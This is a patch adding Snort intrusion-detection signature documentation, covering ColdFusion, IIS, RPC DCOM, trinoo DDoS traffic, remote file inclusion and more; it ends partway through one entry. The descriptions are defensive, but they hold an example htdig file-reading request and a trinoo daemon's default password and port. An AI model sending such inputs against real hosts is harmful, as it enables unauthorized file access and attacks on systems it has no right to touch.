+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/279.txt
+++ snort-2.7.0/doc/signatures/279.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+279
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of 
+Service attack that causes Bay/Nortel Nautical Marlin bridges to crash.
+
+--
+Impact:
+Denial of Service. Network traffic can be disrupted.
+
+--
+Detailed Information:
+Nautica Marlin bridges will crash if a UDP packet is received on the 
+SNMP port (161) which has a data length of 0.
+
+--
+Affected Systems:
+	Bay/Nortel Nautica Marlin Bridges
+
+--
+Attack Scenarios:
+The bridges can be crashed remotely.  The offending packet uses UDP 
+(which is not connection oriented) and can be easily spoofed. 
+
+--
+Ease of Attack:
+Simple.  Tools are available that can exploit this vulnerability.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block connections to port 161 from unauthorized hosts using firewall or 
+router ACLs.  The release notes for the only available upgrade for this 
+product do not mention this vulnerability.  The product has been 
+discontinued.  
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/429.txt
+++ snort-2.7.0/doc/signatures/429.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+429
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Bad SPI datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 0 datagrams are an indication that a received datagram has an invalid SPI that is invalid or has expired.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 0 datagrams are generated when a received datagram includes a SPI (Security Parameters Index) that is invalid or has expired.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.7.0.orig/doc/signatures/119-5.txt
+++ snort-2.7.0/doc/signatures/119-5.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-5
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+
+Impact: 
+Unknown. This may be an attempt to obfuscate an attack an evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects
+base36 encoded characters in a web request. This may be used in an
+attempt to obfuscate an attack against a webserver or to evade an IDS.
+
+--
+Affected Systems:
+	Microsoft IIS web servers (Asian)
+
+--
+Attack Scenarios: 
+An attacker need only encode a web request using base 36 encoding.
+
+-- 
+Ease of Attack: 
+Simple. Exploits exist
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/797.txt
+++ snort-2.7.0/doc/signatures/797.txt
@@ -0,0 +1,62 @@
+
+Rule:  
+
+--
+Sid:
+797
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a picture - e.g. niceboy.jpg.vbs gets displayed as
+nicegboy.jpg but is a visual basic script and not a picture.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.7.0.orig/doc/signatures/336.txt
+++ snort-2.7.0/doc/signatures/336.txt
@@ -0,0 +1,70 @@
+Rule:
+Sid:
+336
+--
+Summary:
+This event is generated when an attempt is made to access roots home
+directory in an ftp session.
+
+--
+Impact:
+Serious. Information disclosure.
+
+--
+Detailed Information:
+An ftp command to change directories to root's home directory has been
+made. If roots home directory is world readable and is within the ftp
+root, the contents may be viewed or downloaded in an ftp session.
+
+Under normal ftp usage (by non-root users), this should never occur.  
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Scenario A:
+1. Remote attacker has gained root password/access, or is able to access root's home directory.
+2. Attacker will be able to replace important system files at their will, possibly gaining shell access as root.
+
+Scenario B:
+1. System administrator (root) connects to the system via un-encrypted ftp.
+2. An attacker, listening in on the tcp/ip traffic, gains root's password since it was transmitted in 'clear-text'.
+3. The attacker can now log in as root.
+
+Scenario C:
+1. The ~root directory is world readable.
+2. Sensitive files that may exist in this directory can now be accessed by anyone.
+--
+Ease of Attack:
+Scenario A: depends on how the attacker gained root's password
+Scenario B: trivial for someone on the same network or on the route to the comprimiseable system.
+Scenario C: easy.
+--
+False Positives:
+None Known
+The administrator has legitimately logged into this machine from a remote location. 
+Note: this still has the potential for a security breach (see Scenario B).
+--
+False Negatives:
+None Known
+Accessing other system critical directories other than ~root (for example, /etc, where passwd/shadow files are kept) could indicate the same comprimise.
+--
+Corrective Action:
+ - Dissallow ftp login for root, consider using something more secure than ftp for root file transfers.
+ - Make sure root's home directory is NOT world readable.
+ - Root's password may have been discovered, take apropriate action.
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jeremy Stashewsky <jstash@omitthis.uvic.ca>
+
+-- 
+Additional References:
+CVE CVE-1999-0082
+RFC 959: File Transfer Protocol http://www.ietf.org/rfc/rfc959.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/100000430.txt
+++ snort-2.7.0/doc/signatures/100000430.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+100000430
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_Faq.class.php" using a remote file being passed as the "APP[path][applications]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][applications]" parameter in the "Bs_Faq.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1489.txt
+++ snort-2.7.0/doc/signatures/1489.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1489
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1600.txt
+++ snort-2.7.0/doc/signatures/1600.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+1600
+
+--
+Summary:
+This event is generated when an attempt is made to read a file on a host using a well known vulnerability in htdig.
+
+--
+Impact:
+Severe. Unauthorized file access
+
+--
+Detailed Information:
+Some versions of htdig allow inclusions to be made from configuration files as a parameter to the htsearch function. Any file can be included by enclosing it in single quotes ('foo').
+
+Using this vulnerability, any single quoted input string (`....`) is included as an index file by htsearch. This allows an attacker to read any file on the host.
+
+This event is generated when a request is made to the cgi script htsearch with file inclusion attempted. Refer to the rule with sid 1601 for further exploitation attempts.
+
+--
+Affected Systems:
+HTDig versions 3.1.1, 3.1.2, 3.1.3, 3.1.4 and 3.2.0b1
+
+--
+Attack Scenarios:
+An attacker can try to include a file in the search parameters for htdig by using the -c flag. For example:
+http://www.foo.com/cgi-bin/htsearch?-c%60/anyfile%60
+
+--
+Ease of Attack:
+Simple. No exploit scripts required
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Related Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+Bugtraq:
+http://www.securityfocus.com/bid/1026
+
+--
--- snort-2.7.0.orig/doc/signatures/1806.txt
+++ snort-2.7.0/doc/signatures/1806.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1806
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with chunked encoding processing of HTR in Internet Information Services (IIS). 
+
+--
+Impact:
+Remote Access.  If the exploit is successful, an attacker can gain remote access of the target host. 
+
+--
+Detailed Information:
+A buffer overflow exists with chunked encoding processing associated with HTR in IIS.  Chunked encoding allows different sized chunks of data to be passed from the web client to the server.  HTR is an older scripting language still supported by IIS. A heap overflow vulnerability exists because of an error in chunked encoding data transfer associated with the Internet Services Application Programming Interface (ISAPI) extension that implements HTR.
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0, 5.0 
+
+--
+Attack Scenarios:
+An attacker can craft a chunked encoded request to exploit the heap overflow.
+
+--
+Ease of Attack:
+Moderate.  Microsoft advises that this heap overflow is not as difficult to exploit as others.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+
+Apply the appropriate patch:
+
+  Microsoft IIS 4.0:
+     http://www.microsoft.com/Downloads/Release.asp?ReleaseID=39579
+  Microsoft IIS 5.0:
+     http://www.microsoft.com/Downloads/Release.asp?ReleaseID=39217 
+
+Investigate running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0364
+
+Bugtraq
+http://www.securityfocus.com/bid/4855
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms02-028.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2123.txt
+++ snort-2.7.0/doc/signatures/2123.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 2123
+
+
+--
+Summary:
+This event is generated when a Windows cmd.exe banner is detected in a TCP session. 
+
+--
+Impact:
+Remote access.
+
+--
+Detailed Information:
+This event indicates that a Windows cmd.exe banner has been detected in a TCP session. This indicates that someone has the ability to spawn a DOS command shell prompt over TCP.
+
+--
+Affected Systems:
+Windows operating systems.
+
+--
+Attack Scenarios:
+An attacker could be utilizing a backdoor to spawn a DOS command shell thus gaining access to the operating system and all data on the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3258.txt
+++ snort-2.7.0/doc/signatures/3258.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3258
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000612.txt
+++ snort-2.7.0/doc/signatures/100000612.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000612
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_duplicate.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_duplicate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2543.txt
+++ snort-2.7.0/doc/signatures/2543.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2543
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2819.txt
+++ snort-2.7.0/doc/signatures/2819.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2819
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_column_group_from_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000772.txt
+++ snort-2.7.0/doc/signatures/100000772.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000772
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "DokiWiki" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "DokiWiki" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/237.txt
+++ snort-2.7.0/doc/signatures/237.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+237
+
+--
+Summary:
+This event is generated when a trinoo DDoS master host communicates with a daemon host.
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a trinoo master. If the listed destination IP is in your network, it may be a trinoo daemon.
+
+--
+Detailed Information:
+The trinoo DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Masters communicate with daemons to direct them to launch attacks.  A master may communicate with a daemon via UDP destination port 27444 with a string of "l44adsl" in the payload.  This string is the default password for the daemon.
+
+--
+Affected Systems:
+Any trinoo compromised host.
+
+--
+Attack Scenarios:
+A trinoo master will communicate with a daemon to direct it to launch attacks.
+
+--
+Ease of Attack:
+Simple. trinoo code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html#trinoo
+
+Arachnids:
+http://www.whitehats.com/info/IDS197
+
+--
--- snort-2.7.0.orig/doc/signatures/1061.txt
+++ snort-2.7.0/doc/signatures/1061.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1061
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/1185.txt
+++ snort-2.7.0/doc/signatures/1185.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1185
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1468.txt
+++ snort-2.7.0/doc/signatures/1468.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1468
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1262.txt
+++ snort-2.7.0/doc/signatures/1262.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1262
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) admind is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port admind is using.  Attackers can also learn what versions of the admind protocol are accepted by admind.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as admind run.  The admind RPC service is used by some UNIX hosts to remotely perform distributed system administration tasks such as adding new users.  If weak authentication is used, it may be possible for a malicious user to perform remote administration.
+
+--
+Affected Systems:
+Any host running admind with weak authentication.
+
+--
+Attack Scenarios:
